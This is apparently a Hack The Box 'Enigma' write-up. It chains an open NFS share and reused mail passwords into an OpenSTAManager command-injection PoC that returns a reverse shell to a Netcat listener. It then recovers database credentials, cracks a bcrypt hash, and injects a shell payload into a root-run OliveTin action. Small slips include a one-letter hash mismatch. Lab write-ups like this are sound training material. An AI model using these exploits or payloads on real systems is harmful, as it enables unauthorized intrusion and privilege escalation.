

ENIGMA

Hack The Box Solution Guide

Enumeration -> Initial Access -> User -> Root

Writeup by ThinkLikeAHack3r

Narrative solution-guide edition - July 2026

Authorized lab only: This guide documents an authorized Hack The Box target. Use the techniques only on systems you own or have explicit permission to test.

How this guide is written

This version follows the structure of a traditional Hack The Box writeup. Each stage begins with the observation that moved the investigation forward. The command comes next, followed by a paragraph explaining its syntax and a short interpretation of the result. The guide follows the successful solution path from enumeration to root without branching into unsuccessful alternatives.

Commands are labeled by location. KALI means the attacking machine. KALI LISTENER means a second Kali terminal waiting for a reverse-shell connection. TARGET:www-data means the first low-privilege shell on Enigma, and TARGET:haris means the shell after switching to the local Haris account.

Changing HTB addresses: Hack The Box can assign a different target address after a reset. Replace every example 10.129.x.x value with the address currently displayed on the machine page.

Attack path at a glance

The initial foothold begins with an anonymous NFS export. The exposed onboarding document provides a mail credential, and password reuse against a second mailbox reveals the hidden support application and its administrator login. OpenSTAManager 2.9.8 is then confirmed vulnerable to authenticated command injection, giving us code execution as www-data.

The web application configuration leads to database credentials, and the database contains a bcrypt hash for Haris, a real local Linux user. After cracking that hash offline, the investigation shifts to local privilege escalation. A root-run OliveTin service exposes a shell action that places an unrestricted password value directly into a command, allowing the root flag to be copied to a readable location.

1. External enumeration

We begin with a complete TCP scan. At this point there is no reason to attack a specific service; the goal is to build an accurate map and identify which services might respond without credentials.

KALI `nmap -sC -sV -p- -T4 10.129.239.191`

nmap is the scanner. The -sC option runs the default Nmap scripting set, -sV asks Nmap to identify service versions, -p- expands the scan from the usual 1,000 ports to all 65,535 TCP ports, and -T4 uses a fast timing profile suitable for a lab. The final value, 10.129.239.191, is the target IP address assigned for this run.

Relevant output

```
22/tcp open  ssh      OpenSSH 9.6p1 Ubuntu
80/tcp open  http     nginx 1.24.0
110/tcp open  pop3     Dovecot pop3d
111/tcp open  rpcbind  2-4
143/tcp open  imap     Dovecot imapd
993/tcp open  ssl/imap Dovecot imapd
995/tcp open  ssl/pop3 Dovecot pop3d
2049/tcp open  nfs_acl  3
...additional high RPC/NFS helper ports...

http-title: Did not follow redirect to http://enigma.htb/
```

The most useful part of the scan is not a single port number but the relationship between the services. SSH is likely a later access method because we do not yet possess a key or system password. The mail ports suggest real mailboxes, but they are locked behind authentication. nginx reveals the hostname `enigma.htb` through its redirect. NFS is the best first target because an exported share may be listed and mounted before we have credentials.

The high ports associated with `mountd`, `nlockmgr`, and `status` are not unrelated mystery services. They are the moving parts of NFS and RPC. This is why the full-port scan mattered: those helper ports would often be absent from a default top-1,000-port scan.

Interpreting resets: Closed ports replying with TCP resets means Nmap did not observe obvious filtering on those ports. It does not prove that the machine has no firewall.

Map the discovered hostnames

The web server redirects requests to `enigma.htb` rather than serving the application directly by IP address. Kali must therefore map that hostname to the target before the site can be reached correctly.

```
KALI echo "10.129.239.191 enigma.htb" | sudo tee -a /etc/hosts
```

`echo` prints the mapping, the pipe sends that text into `tee`, and `sudo tee -a` appends it to the protected `/etc/hosts` file. The `-a` option appends rather than replacing the file.

2. Anonymous NFS share

Because NFS is the only obvious service that might disclose information before authentication, we ask the server which directories it exports.

```
KALI showmount -e enigma.htb
```

`showmount` queries the NFS mount service. The `-e` option requests the export list, which includes both the shared directory and the clients allowed to mount it.

Relevant output

```
/srv/nfs/onboarding *
```

In this lab, the asterisk means any client may attempt to mount the export. An export to everyone is not automatically exploitable, but the contents determine the risk. Here the share contains onboarding material, so the broad access exposes information that should have remained internal.

We create a local mount point, attach the remote export, and inspect the files.

```
KALI mkdir onboarding
sudo mount -t nfs enigma.htb:/srv/nfs/onboarding onboarding
```

`mkdir` creates the local onboarding directory that will act as the mount point. `sudo mount` attaches the remote NFS export to that directory. The `-t nfs` option states the filesystem type, `enigma.htb:/srv/nfs/onboarding` identifies the remote share, and the final `onboarding` argument is the local directory where its files will appear.

The share contains `New_Employee_Access.pdf`. Rather than opening a graphical reader, `pdftotext` extracts the contents directly to the terminal.

KALI

```
pdftotext onboarding/New_Employee_Access.pdf -
```

The first argument is the PDF. The final dash means standard output, so the extracted text is printed instead of written to a second file.

Credential recovered from the PDF

```
Mail host: mail001.enigma.htb
Username: kevin
Password: Enigma2024!
```

This is the first decisive pivot. The document provides a credential, and the original scan already showed a mail server. The next step is therefore not speculative: test Kevin's credential against the encrypted IMAP service.

3. Mail access and password reuse

IMAP on port 993 is encrypted from the start. OpenSSL's `s_client` can establish the TLS session while leaving us at an interactive prompt where raw IMAP commands can be entered.

```
KALI openssl s_client -connect enigma.htb:993 -crlf -quiet
```

The `-connect` option selects `enigma.htb` on encrypted IMAP port 993. The `-crlf` option sends the line endings expected by the mail protocol, and `-quiet` hides most TLS handshake details so the IMAP conversation is easier to read.

Inside the connection, each IMAP command begins with a tag. Here the tag is simply `a`. The `LOGIN` command authenticates Kevin using the credential recovered from the onboarding document.

```
KALI a login kevin Enigma2024!
```

Kevin's mailbox does not contain the next clue. Because password reuse is common, we open a fresh OpenSSL connection using the same command and test the password against Sarah, another mailbox name associated with the target.

```
KALI openssl s_client -connect enigma.htb:993 -crlf -quiet
```

```
KALI a login sarah Enigma2024!
a select Inbox
a fetch 1 body[]
```

Relevant information from Sarah's message

```
Internal support application: http://support_001.enigma.htb/
Username: admin
Password: Ne3s4rtars78s
```

The reused password opens Sarah's mailbox and reveals a hidden virtual host plus an application administrator credential. The underscore in `support_001` is important: ordinary virtual-host wordlists often omit names with underscores, so reading the internal message is more reliable than brute forcing likely names.

```
KALI echo "10.129.239.191 support_001.enigma.htb" | sudo tee -a /etc/hosts
```

This appends the newly discovered hostname to Kali's local hosts file so the browser and `curl` send the correct Host header to `nginx`.

4. Fingerprinting OpenSTAManager

Before using a public exploit, we need to identify the exact application version. Vulnerabilities apply to ranges, not simply to product names. The support page includes version information in its static-asset URLs.

```
KALI curl -s http://support_001.enigma.htb | grep -iE 'assets|v='
```

`curl -s` downloads the page without displaying its progress meter. The pipe sends the HTML to `grep`. The `-i` option ignores case, `-E` enables the OR operator in the pattern, and `assets|v=` keeps lines that contain either an asset path or a version query string.

Version indicator

```
... app.css?v=2.9.8 ...
```

The application is OpenSTAManager 2.9.8. The published advisory for CVE-2025-69212 identifies version 2.9.8 and earlier as affected by authenticated operating-system command injection during P7M processing. Because the target is exactly 2.9.8, the version check supports continuing. If the target had been outside the affected range, this path should have been abandoned regardless of how appealing the public PoC looked.

Inspect and prepare the public PoC

A public proof of concept is code written by someone else, so it should be read before execution. We clone the repository, enter its directory, and print `exploit.py` to understand what it sends to the target.

KALI

```
git clone https://github.com/jonathan-corbin/CVE-2025-69212-Authenticated-RCE-PoC
cd CVE-2025-69212-Authenticated-RCE-PoC
cat exploit.py
```

`git clone` downloads the repository, `cd` enters the newly created directory, and `cat` prints the exploit source to the terminal. Reading the file shows how the uploaded filename reaches a shell command and how the script formats the command for the target.

The PoC's single-command mode makes output visible by redirecting it into a web-accessible file and retrieving that file. That is why the `id` result can be printed even though the underlying filename injection is not an interactive shell.

5. Confirming code execution

The smallest useful test is `id`. It does not modify the target, and its output tells us exactly which operating-system account executed the command.

```
KALI ./exploit.py -u http://support_001.enigma.htb -l admin -p 'Ne3s4rtars78s' -c 'id'
```

`./exploit.py` runs the script from the current directory. `-u` supplies the target application URL, `-l` and `-p` provide the application credentials, and `-c` asks the PoC to execute one command. The password is enclosed in single quotes so the local shell treats every character literally.

Relevant output

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

This single result confirms four separate parts of the chain: the web login worked, the target version is exploitable, the injected command ran, and the PoC could retrieve its output. The account is `www-data`, which is the expected low-privilege web-server identity. We now upgrade from one-off commands to an interactive reverse shell.

Receive a reverse shell

A reverse shell makes the target initiate the connection back to Kali. Start the listener before triggering the exploit so the callback has somewhere to land.

```
KALI LISTENER nc -lvp 4444
```

`nc` is Netcat. `-l` selects listen mode, `-v` prints connection details, `-n` disables DNS lookups, and `-p` selects port 4444. The port is arbitrary, but the exploit and the listener must use the same value.

In a second Kali terminal, run the PoC in reverse-shell mode. The callback address must be Kali's `tun0` VPN address, not its home-network address. In this run, that address was `10.10.15.231`.

```
KALI ./exploit.py -u http://support_001.enigma.htb -l admin -p 'Ne3s4rtars78s' -s 10.10.15.231 -P 4444
```

The `-s` option supplies Kali's VPN callback address and `-P` supplies the callback port. When the request succeeds, the Netcat terminal receives a shell as `www-data`.

Stabilize the terminal

The initial shell is functional but fragile. A pseudo-terminal improves line editing and command behavior.

```
TARGET:www-data python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`python3 -c` executes the code inside the quotes. The `pty` module creates a pseudo-terminal and starts Bash inside it. Next, press `Ctrl-Z` to suspend Netcat and return to the local Kali listener terminal.

```
KALI LISTENER stty raw -echo; fg
```

stty raw -echo sends keystrokes directly to the remote terminal and prevents local double-echo. The semicolon separates two local commands, and fg brings the suspended Netcat process back to the foreground. Press Enter once after the remote prompt returns.

```
TARGET:www-data export TERM=xterm
```

TERM tells interactive programs which terminal features are available so programs render and behave correctly inside the upgraded shell.

6. Post-exploitation orientation

A foothold is only a vantage point. The first questions are who we are, where we are, and which real users exist on the machine.

```
TARGET:www-data id
whoami
hostname
ls -la /home
```

id and whoami confirm the effective account, hostname confirms that the shell is on Enigma, and ls -la /home lists the local users' home directories with their permissions.

The shell came through OpenSTAManager, so the application files are the most logical place to search for secrets. Web applications need credentials to connect to their databases, and the web-server account must normally be able to read the configuration containing them.

```
TARGET:www-data cd /var/www/html
ls -la
```

cd changes the current directory to the web root. The listing shows openstamanager alongside the other hosted applications, confirming where to inspect the application configuration.

7. Recovering database credentials

```
TARGET:www-data cat /var/www/html/openstamanager/config.inc.php | grep -iE 'db_'
```

cat prints the application configuration, the pipe passes it to grep, and grep -iE keeps only lines containing db_ without treating letter case as significant.

Relevant output

```
Database user: brollin
Database password: Fri3nds@9099
Database name: openstamanager
```

8. Enumerating the application database

The credential came from the application's database configuration, so we use it with the MySQL client. We do not know the schema yet, so the first query asks the database to list its tables.

```
TARGET:www-data mysql -u brollin -p'Fri3nds@9099' openstamanager -e "show tables;"
```


mysql starts the client. -u selects brollin. MySQL requires the password to touch -p with no space, so -p'Fri3nds@9099' forms one argument while the single quotes protect the special characters from Bash. openstamanager selects the database, and -e executes the SQL statement and exits.

Relevant table name

```
...
zz_users
...
```

Most table names describe normal application data. zz_users is the one that can contain login identities and password hashes, so we query only the fields needed for account recovery.

```
TARGET:www-data  mysql -u brollin -p'Fri3nds@9099' openstamanager -e "select id, username, password,
enabled from zz_users;"
```

SELECT reads the named columns from zz_users. Limiting the columns makes the output easier to interpret and avoids dumping unrelated profile data.

Haris account row

```
haris    $2y$10$WHf1T79sxjsZongUKT2jGeexTkviHBQyCZeoyXm0biNphrsZDr6eC    1
```

The \$2y\$ prefix identifies bcrypt. Haris is especially important because /home/haris already proved that the same name belongs to a real Linux account. The hash can be attacked offline on Kali without sending repeated login attempts to Enigma.

9. Cracking Haris's bcrypt hash

KALI

```
echo '$2y$10$WHf1T79sxjsZongUKT2jGeexTkviHBQyCZeoYXm0biNphrsZDr6eC' > haris.hash
```

echo prints the bcrypt hash and > redirects it into haris.hash. The hash is enclosed in single quotes so the shell treats its dollar signs as literal characters rather than variable markers.

KALI

```
hashcat -m 3200 haris.hash /usr/share/wordlists/rockyou.txt
```

Hashcat receives three important pieces of information. -m 3200 selects bcrypt, haris.hash is the target-hash file, and rockyou.txt is the candidate-password list. The run documented here recovered bestfriends. Runtime depends on the hardware and whether Hashcat already stored the answer in its potfile.

Recovered password

```
bestfriends
```

Switch to the Haris account

TARGET:www-data

```
su haris
```

su prompts for the local account password. Enter bestfriends. A successful switch changes the current identity without needing a new network connection.

TARGET:haris

```
cat ~/user.txt
```

The tilde in ~/user.txt expands to the current user's home directory, /home/haris. Reading the file captures the user flag and confirms that the local-user stage is complete.

10. Discovering OliveTin

While inspecting the web directories, an olivetin directory under /var/www stood out because it did not belong to the OpenSTAManager application. A directory name is only a clue, so the next question was whether OliveTin was actually running and, if so, under which account.

TARGET:haris

```
cd /var/www
ls -la
ps aux | grep -i olivetin
```

ls -la shows all entries and their ownership. ps aux lists processes for all users, including background processes, and the pipe keeps only lines containing olivetin. The grep command itself also appears in the result and should be ignored.

Relevant output

```
root 1548 ... /usr/local/bin/OliveTin
```

The first column is the process owner. OliveTin is running as root, which means any action the service executes also receives root privileges unless the service deliberately drops them. The next problem is discovering how to reach its web interface.

Identify and prove the OliveTin listening port

```
TARGET:haris ss -lntp
```

ss displays network sockets. The -l option keeps only listening sockets, -n prints addresses and port numbers numerically instead of translating them into service names, and -t limits the results to TCP. The final -p asks ss to show the process name and PID associated with each socket. We keep -p because, when Linux allows the information to be shown, it can connect a listening port directly to the program that opened it.

The -p option is a request, not a guarantee that every process name will be visible. Haris is unprivileged, so Linux may hide the PID and process name for a root-owned socket. A blank process column therefore does not mean that the listener has no owner. It only means Haris is not allowed to see that ownership information through ss.

Relevant output

```
Abridged lines from ss -lntp:
LISTEN ... 127.0.0.1:25      ...
LISTEN ... 127.0.0.1:3306   ...
LISTEN ... 127.0.0.1:33060  ...
LISTEN ... 127.0.0.1:1337   ...
```

```
TARGET:haris curl -i http://127.0.0.1:1337/
```

The output gives us four local-only TCP listeners, but the unprivileged Haris account may not be allowed to see process details for root-owned sockets. Port 25 is SMTP, matching the known mail server. Port 3306 is the standard MySQL/MariaDB listener, and 33060 is MySQL X Protocol. Those three ports are already explained by services discovered earlier. Port 1337 is the only unexplained local listener, so we test it with curl. The returned HTTP 200 response and OliveTin page title prove that 1337 belongs to OliveTin; the number alone was only a candidate.

Relevant output

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
...
<title>OliveTin</title>
```

Confirm the service identity and configuration

```
TARGET:haris systemctl show OliveTin -p User -p Group -p ExecStart --no-pager
cat /etc/OliveTin/config.yaml
```

systemctl show reads systemd properties. Each -p selects a property, and --no-pager prints directly to the terminal. Empty User and Group fields on this system service mean it uses systemd's default identity,

root. The configuration also shows that guest execution is allowed and that actions are defined with shell or exec commands.

11. Finding the root action in config.yaml

With OliveTin confirmed as a root-run service, the next step is to inspect the active configuration for every action that launches a command. We search config.yaml for the execution keys shell, exec, command, and script. This immediately exposes the commands OliveTin is configured to run.

The regular expression keeps only indented YAML lines whose key is shell, exec, command, or script. The -n option prints line numbers and -E enables the grouped alternatives in the pattern.

```
TARGET:haris    grep -nE '^[[:space:]]+(exec|shell|command|script):' /etc/OliveTin/config.yaml
```

Relevant output

```
23:    shell: ping -c 3 1.1.1.1
31:    shell: df -h /media
...
127:   exec:
...
263:   shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} >
/opt/backups/backup.sql"
```

Most matches are fixed commands or use tightly restricted values. Line 263 is different: the db_pass value is placed inside a shell command and wrapped in single quotes. Because passwords must allow symbols, this field can carry shell-control characters. That makes the Backup Database action the command-injection path.

Relevant output

```
- title: Backup Database
  id: backup_database
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
  arguments:
    - name: db_user
      type: ascii_identifier
    - name: db_pass
      type: password
    - name: db_name
      type: ascii_identifier
```

This is an OS command-injection vulnerability. OliveTin constructs one shell command by pasting user-supplied values into a string. db_user and db_name are restricted identifier fields, but db_pass is a general password string and can carry quote, semicolon, and comment characters. Because the action uses shell rather than an exec argument array, those characters are interpreted by a command shell.

Understand the injection in plain English

With a normal password, OliveTin might build the following command:

Normal command

```
mysqldump -u backup_svc -p'secret123' production > /opt/backups/backup.sql
```

The password is meant to remain inside the single quotes. Instead, we supply a value that closes the quote, ends the database command, starts a second command, and comments out everything OliveTin adds afterward:

Injected db_pass value

```
''; /usr/bin/install -m 0644 /root/root.txt /tmp/root.txt; #
```

The first single quote ends the password early. The first semicolon ends mysqldump. /usr/bin/install then copies /root/root.txt to /tmp/root.txt and sets the copy to mode 0644, which makes it readable by Haris. The second semicolon ends install. The hash character begins a shell comment, so the leftover quote, database name, and redirection are ignored.

After substitution, the shell effectively sees this:

Relevant output

```
mysqldump -u backup_svc -p''; /usr/bin/install -m 0644 /root/root.txt /tmp/root.txt; #' production
> /opt/backups/backup.sql
```

The first mysqldump command may fail, but semicolons do not require the previous command to succeed. The install command still runs. Since OliveTin is a root-owned system service, install also runs as root.

Classification: Vulnerability: OS command injection (CWE-78). Attack: shell command injection through db_pass.
Impact: local privilege escalation from Haris to root-level command execution.

12. Triggering the Backup Database action

The payload contains several characters that are easy to damage when nested inside an inline curl command. A quoted here-document writes the JSON request to a file exactly as shown and prevents the local shell from interpreting the payload while the file is being created.

TARGET:haris

```
cat > /tmp/db-request.json <<'JSON'
{
  "actionId": "backup_database",
  "arguments": [
    {
      "name": "db_user",
      "value": "backup_svc"
    },
    {
      "name": "db_pass",
      "value": "''; /usr/bin/install -m 0644 /root/root.txt /tmp/root.txt; #"
    },
    {
      "name": "db_name",
      "value": "production"
    }
  ],
  "uniqueTrackingId": "backup-db-proof"
}
JSON
```

cat normally copies input to output. The > operator redirects that output into /tmp/db-request.json. <<'JSON' starts a here-document and uses the later line containing only JSON as its terminator. Quoting the terminator makes the contents literal. actionId selects the id: backup_database value read directly from config.yaml, the arguments array supplies the three named fields, and uniqueTrackingId is simply a readable label for this execution.

Before sending the request, validate the JSON locally. This catches missing quotes, commas, braces, or brackets without involving OliveTin.

```
TARGET:haris python3 -m json.tool /tmp/db-request.json
```

Python's `json.tool` parses and reformats the file. A clean, indented reprint means the JSON syntax is valid. Finally, send the file to the `StartActionAndWait` endpoint.

```
TARGET:haris curl -i -sS -X POST
'http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinApiService/StartActionAndWait'
-H 'Content-Type: application/json' --data-binary @/tmp/db-request.json
```

The `-i` option includes the HTTP response headers, `-sS` suppresses the progress meter while retaining errors, and `-X POST` selects the POST method. The `-H` option adds an HTTP request header. Here, `-H 'Content-Type: application/json'` tells OliveTin that the data being sent in the request body is JSON, so the server knows how to parse `/tmp/db-request.json`. `--data-binary` reads the body from the file named after `@` and sends it without rewriting its contents. A correct response identifies and runs the Backup Database action.

We use a file-copy side effect because it provides deterministic proof of root execution. The API can return action output, but the copied file lets us confirm the executing identity through ownership and permissions without depending on how a particular action captures standard output.

13. Capturing the root flag

```
TARGET:haris ls -l /tmp/root.txt
cat /tmp/root.txt
```

`ls -l` displays the owner, group, permissions, size, and timestamp. The file should be owned by root because the root-run OliveTin service created it. The mode `-rw-r--r--` corresponds to `0644`: root can read and write, while the group and everyone else can read. `cat` then prints the copied flag.

Relevant output

```
-rw-r--r-- 1 root root ... /tmp/root.txt
<root flag>
```

Haris could not read `/root/root.txt` directly. The only reason the copy exists with root ownership is that OliveTin executed the injected install command with root privileges. This proves arbitrary root-level command execution. The walkthrough deliberately stops after retrieving the flag and does not create persistence or an interactive root shell.

14. Full reasoning chain

The solution is a chain of evidence rather than a collection of unrelated commands. The external scan showed that NFS was the only service likely to disclose information without a login. The anonymous export revealed Kevin's mail password. Reusing that password against Sarah exposed a hidden support virtual host and an administrator credential. The application version confirmed that the authenticated OpenSTAManager command-injection vulnerability applied, producing command execution and then a shell as `www-data`.

From the web foothold, the application configuration revealed a database credential. Using it with MySQL exposed the application tables and then Haris's bcrypt hash. Offline cracking recovered the

password for a real local account. From Haris, the `/var/www` directory and process list revealed OliveTin running as root on a local-only port.

Grepping the active OliveTin configuration exposed the Backup Database shell action, its id, and its argument names. Reading the active configuration revealed the flaw: `db_pass` was inserted directly into a root shell command. Closing the quote and adding a second command caused OliveTin to copy the root flag into a readable location.

The central lesson is not to memorize the final payload. It is to state what each result proves. Every successful output supplied the next resource and justified the next command.

Appendix: shell syntax used in this guide

Syntax	Meaning
	Pipe the standard output of the left command into the right command.
>	Write standard output to a file, replacing the previous contents.
2>/dev/null	Discard standard-error messages.
;	End one shell command and continue with the next regardless of success.
&&	Run the next command only when the previous one succeeded.
#	Begin a shell comment; the rest of the line is ignored.
'single quotes'	Treat the enclosed text literally and prevent variable expansion.
"double quotes"	Keep text together while still allowing variable expansion.
\ at line end	Continue one logical command on the next physical line.
\$VARIABLE	Insert the value stored in a shell variable.
~	The current user's home directory.
@file in curl	Read the HTTP request body from the named file.
<<'WORD'	Start a literal here-document that ends at a line containing WORD.

Security terminology

OS command injection occurs when an application places untrusted input into an operating-system command and the shell interprets that input as syntax. In Enigma, `db_pass` was intended to be password data but was able to close a quote and introduce a second command. Privilege escalation describes the impact: the attacker began as Haris but caused a root-owned service to execute the additional command. The copied flag is a side effect used to prove execution with higher privileges.

Technical references

- CVE-2025-69212: <https://www.cve.org/CVERecord?id=CVE-2025-69212>
- GitHub advisory GHSA-25fp-8w8p-mx36: <https://github.com/advisories/GHSA-25fp-8w8p-mx36>
- OpenSTAManager PoC: <https://github.com/jonathan-corbin/CVE-2025-69212-Authenticated-RCE-PoC>
- OliveTin shell versus exec: https://docs.olivetin.app/action_execution/shellvsexec.html
- MITRE CWE-78: <https://cwe.mitre.org/data/definitions/78.html>